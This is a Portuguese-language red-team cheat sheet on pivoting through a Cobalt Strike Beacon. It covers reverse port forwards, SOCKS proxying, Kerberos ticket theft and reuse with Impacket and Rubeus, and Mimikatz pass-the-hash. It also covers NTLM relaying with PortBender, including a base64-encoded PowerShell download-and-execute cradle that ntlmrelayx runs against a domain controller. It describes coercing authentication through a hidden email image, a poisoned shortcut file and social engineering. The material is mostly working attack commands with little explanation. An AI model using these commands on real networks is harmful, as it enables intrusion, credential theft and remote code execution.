Pivoting

Reverse Port Forwards

Sempre que for fazer um encaminhamente de portas, tenha em mente que é preciso antes realizar uma configuração de firewall para liberar as devidas portas. Caso não faça iss antes, irá aparecer um popup na máquina alvo solicitando a permissão para o usuário que está logado.

Liberando a porta 8080.

powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

Caso queira remover essa configuração de firewall, execute:

powershell Remove-NetFirewallRule -DisplayName "8080-In"

Feito isso, podemos de fato começar. O encaminhamento reverso de porta (Reverse Port Forwards) permite que uma máquina redirecione o tráfego de entrada em uma porta específica para outro IP e porta. Imagina que a computador HOST_SEM_ACESSO não consiga acessar a porta 80 do computador HOST_CS, que é onde está o Cobalt Strike. Porém o HOST_INFECTADO (com Beacon), consegue acessar tanto a porta 80 do HOST_CS quanto ter acesso ao HOST_SEM_ACESSO, servindo assim como uma ponte de acesso. Vamos então abrir o Beacon do HOST_INFECTADO e executar o seguinte comando:

rportfwd 8080 127.0.0.1 80

Caso queria ver as Port Forwardings ativos, vá no Menu View > Proxy Pivots. Para excluir algum redirect, basta executar o comando abaixo:

rportfwd stop 8080

Agora, quando HOST_SEM_ACESSO acessar a porta 8080 de HOST_INFECTADO, ele será redirecionado para a porta 80 de HOST_CS. Se executarmos um netstat -anp tcp em HOST_INFECTADO, veremos que foi aberto a porta 8080.

SOCKS

O Cobalt Strike possui um proxy SOCKS4a e SOCKS5. A principal diferença entre eles é que apenas o SOCKS5 suporta autenticação e coleta de logs.

# SOCKS4a
socks 1080

# SOCKS5
socks 1080 socks5 disableNoAuth <user> <pass> enableLogging

A opção enableLogging envia logs adicionais (como falhas de autenticação) para o console da VM, que infelizmente você não pode ver facilmente quando o servidor da equipe está sendo executado como um serviço. Em vez disso, você pode utiliza o comando journalctl.

Linux - Proxychains

Primeiro, precisamos configurar o proxychains para apontar para o CS. Edite o arquivo /etc/proxychains.conf, comente a última linha (socks4 127.0.0.1 9050) e utilize uma das opções de SOCKS abaixo, sendo isso de acordo com o comando utilizado acima e também defina uma porta (estamos utilizando a 1080 como exemplo):

# SOCKS4
socks4 <ip-server-cs> 1080

# SOCKS5
socks5 <ip-server-cs> 1080 <user> <pass>

Essa configuração deve ser feita no Servidor CS (podendo utilizar o seu IP ou IP de loopback 127.0.0.1) e também no host do Client CS (Windows e seu Linux WSL), porém neste devemos utilizar o IP do Servidor CS e não podemos utilizar o IP de loopback.

Para verificar se deu certo, abra o WSL da máquina do Client CS e tente se conectar em outra máquina.

proxychains wmiexec.py <SUBDOMAIN>/<user>@<ip>

DICA: Existem algumas restrições quanto ao tipo de tráfego que pode ser encapsulado, portanto, você deve fazer ajustes em suas ferramentas conforme necessário. As varreduras ICMP e SYN não podem ser encapsuladas, portanto, em comando do nmap devemos desabilitar a descoberta de ping (-Pn) e especificar as varreduras TCP (-sT) para que isso funcione.

Linux - Kerberos

Primeiro vamos gerar um TGT através do getTGT.py, do Impacket.

proxychains getTGT.py -dc-ip <ip> -aesKey <hash-aes256> <subdomain.domain.local>/<user>

Feito, isso será gerado um arquivo com o padrão <user>.ccache. Caso utilize outra ferramenta, pode ser que você tenha um arquivo com extensão .kirbi, então será necessário converter para .ccache. Uma maneira fácil de converter isso, é utilizando o próprio Impacket, através do comando abaixo. Caso precise, também é possível converter .ccache em .kirbi.

ticketConverter.py <user>.kirbi <user>.ccache

Com o arquivo .ccache em mão, agora crie uma variável de ambiente.

export KRB5CCNAME=<user>.ccache

E use o psexec.py para acessar o server com o SYSTEM

proxychains psexec.py -dc-ip <ip-dc> -target-ip <ip-host-alvo> -no-pass -k <subdomain.domain.local>/<user><host.subdomain.domain.local>

Windows - Proxifier

Instale a abra o Proxifier como Administrador, vá no Menu Profile > Proxy Servers. Na janela aberta, clique em Add e insira o IP do Server CS em Address, a porta 1080 (ou outra caso tenha alterado). Selecione o protocolo, sendo este, se estiver utilizando o SOCKS4a, marque a opção Use SOCKS 4a extension (remote hostname resolving feature) e clique em OK, porém se estiver utilizando o SOCKS5, marque a opção Enable (na sessão Authentication) e insira o usuário e senha. Quando perguntado se deseja usar esse proxy por padrão, selecione No, depois clique em OK e por fim, clique em Yes, quando solicitado a acessar as Proxification Rules (Regras de Proxificação). Aqui, informamos ao Proxifier quais aplicativos usar como proxy e sob quais condições. Então vamos clicar em Add e preencher da seguinte maneira:

• Name = <Nome qualquer>

• Application = Any

• Target Hosts = 192.168.15.0/24;192.168.17.0/23;*.<domain.local> (Preencha conforme a rede em questão)

• Target ports = Any

• Action = Proxy SOCKS<4>

Para confirmar se deu certo abra o prompt e execute o comando abaixo, porém cuidado, pois caso erre a senha, irá ser aberto o executável da mesma forma, porém não irá funcionar corretamente, parecendo assim que foi um bug. Caso tenha aberto o cmd ou powershell, execute o comando klist. Se não tiver tickets, é porque não deu certo a personificação do usuário.

runas /netonly /user:<SUBDOMAIN>\<user> mmc.exe

Após isso, no mmc.exe, vá no Menu File > Add/Remove Snap-in..., adicione Active Directory Users and Computers, dê OK e veja se consegue acessar os dados do AD. Caso seja preciso, altere o Domínio.

Caso prefira, também podemos fazer esse mesmo processo através do Mimikatz.

.\mimikatz.exe
privilege::debug
sekurlsa::pth /domain:<SUBDOMAIN> /user:<user> /ntlm:<hsh-ntlm> /run:mmc.exe

Ou ainda, utilizando cmdlets do próprio Powershell. No exemplo abaixo, estamos enumerando todas as contas de computador

$cred = Get-Credential
Get-ADComputer -Server <ip-dc> -Filter * -Credential $cred

Kerberos

ccache

Pegando o TGT de um usuário através do seu hash AES256

proxychains </path/to/impacket/examples/getTGT.py> -dc-ip <ip-dc> -aesKey <hash-aes256> <subdomain.domain.loacl>/<user>

Crie uma variável de ambiente com o nome KRB5CCNAME, apontando o seu valor para o arquivo <user>.ccache gerado com o comando anterior.

export KRB5CCNAME=<user>.ccache

Acessando um host do AD com acesso SYSTEM.

proxychains psexec.py -dc-ip <ip-dc> -target-ip <ip-host> -no-pass -k <subdomain.domain.local>/<user>@<host.subdomain.domain.local>

kirbi

Em alguns casos, podemos ter acesso ao arquivo .kirbi do usuário e então converter em ccache para realizar os passos anterior. Caso não tenho um arquivo .kirbi em mãos, segue abaixo um exemplo de fazer isso, através de uma delegação do TGT.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> tgtdeleg /nowrap

Decodifique o Base64 gerado no comando acima e grave-o em <user>.kirbi, utilizando o WSL do Windows.

echo -en '<base64>' | base64 -d > <user>.kirbi

Ainda no WSL, converta o arquivo .kirbi em .ccache.

ticketConverter.py <user>.kirbi <user>.ccache

Defina a variável

export KRB5CCNAME=<user>.ccache

No exemplo acima utilizamos o psexec e agora vamos utilizar o mssqlclient.py para acessarmos um serviço SQL. Note que podemos acessar qualquer recurso, porém é interessante mostrar diversos tipos de acesso. Como no cenário abaixo estamos utilizando o FQDN da máquina, devemos adicionar um registro em /etc/hosts para que seja reconhecido, já que nesse ponto, estamos no WSL. Além disso, também precisamos configurar o Proxychains. Em /etc/hosts adicione o conteúdo abaixo no final do arquivo

<ip-host-sql>	<fqdn-host-sql>

Agora abra o arquivo /etc/proxychains.conf, comente a linha proxy_dns e adicione remote_dns na linha abaixo. Feito isso, já podemos acessar o SQL.

proxychains mssqlclient.py -dc-ip <ip-dc> -no-pass -k <subdomain.domain.local>/<user>@<host-sql.subdomain.domain.local>

Solicitando TGS

Com o Proxyfier ativo, abra o Powershell e execute o comando, porém inserindo uma credencial incorreta quando solicitado.

runas /netonly /user:<subdomain.domain.local>\<user> powershell.exe

Faça uma requisição do TGS

<C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgs /ticket:<hash> /service:<user-mssql>/<host-sql.subdomain.domain.local>:1433 /dc:<dc.subdomain.domain.local> /ptt

Verifique se ocorreu tudo certo

klist

Agora basta executar o HeidiSQL

<C:\path\to\HeidiSQL\heidisql.exe>

NTLM Relaying

Libere o firewall para evitar qualquer tipo de bloqueio.

powershell New-NetFirewallRule -DisplayName "8445-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8445
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080

Certifique-se de que esteja com o acesso SYSTEM antes prosseguir. Abra o Beacon da máquina com SYSTEM, e execute o comando abaixo para que conexões na porta 8445 da máquina com Beacon, seja enviada para Server CS na porta 445. O mesmo será feito com ua porta 8080 sendo enviada para a 80.

rportfwd 8445 localhost 445
rportfwd 8080 localhost 80

Abra um SOCKS4 na porta 1080

socks 1080

No Client do CS, vá no Menu Attacks > Scripted Web Delivery(S) e insira /b em URI Path, em Local Host deixe o próprio IP do Server CS, Local Port ficara como 80, o Listener será um smb e o Type será do tipo powershell.

Agora no terminal do Server onde está o CS, vamos encodar o nosso comando em base64:

echo -n 'iex (new-object net.webclient).downloadstring("http://<ip-maquina-beacon>:8080/b")' | base64 -w 0

Com a saída do comando acima, utilize o base64 no comando abaixo

sudo proxychains ntlmrelayx.py -t smb://<ip-dc> -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -enc <base64-command>'

PortBender é uma DLL reflexiva e um Script Agressor projetado especificamente para ajudar a facilitar a retransmissão por meio do Cobalt Strike. Requer que o driver esteja localizado no diretório de trabalho atual do Beacon. Faz sentido usar C:\Windows\System32\drivers, pois é para lá que vai a maioria dos drivers do Windows. Volte para o Beacon e execute:

cd C:\Windows\system32\drivers
upload <C:\path\to\PortBender\WinDivert64.sys>

Agora no Client do CS, vá no Menu Cobalt Strike > Script Manager. Na parte inferior clique no botão Load e depois selecione arquivo PortBender.cna. Para verificar se está tudo ok, execute o comando abaixo no Beacon:

help PortBender

Seguindo o padrão descrito no Helper, vamos realizar a configuração no PortBender para redirecionar o tráfego da porta 445 para 8445

PortBender redirect 445 8445

Para conferir se deu certo, execute o comando jobs e certifique-se que o PortBender está na lista dos Jobs.

Nosso redirecionamento está pronto, agora precisamos fazer com que algum usuário acesse a máquina que possui o Beacon. Caso possa fazer manualmente, execute um dir \\<ip-maquina-beacon\teste. Caso não tenha esse acesso, tente enviar algo no corpo do e-mail, como <img src="\\<ip-maquina-beacon\test.ico" height="1" width="1" /> ou tente fazer alguma Engenharia Social.

Outra maneira de fazer NTLM Relay é a seguinte:

$wsh = new-object -ComObject wscript.shell
$shortcut = $wsh.CreateShortcut("\\<ip-dc>\software\test.lnk")
$shortcut.IconLocation = "\\<ip>\test.ico"
$shortcut.Save()

Assim que receber a conexão, vá no Beacon e execute:

link <host.domain.local> <TSVCPIPE-ab0f0aba-021a-f2dc-cc45-be45f53aaf37>

Browser

Uma maneira muito simples e muito eficiente, é utilizar o plugin Foxy Proxy do Firefox. O processo é semelhante a configuração para a utilização do Burp Suite, porém ao invés de utilizar HTTP, iremos utilizar SOCKS4/SOCKS5.

Sites

# Proxifier
https://www.proxifier.com/

# PortBender
https://github.com/praetorian-inc/PortBender

# Configurações adicionais do Firefox
https://offensivedefence.co.uk/posts/ntlm-auth-firefox/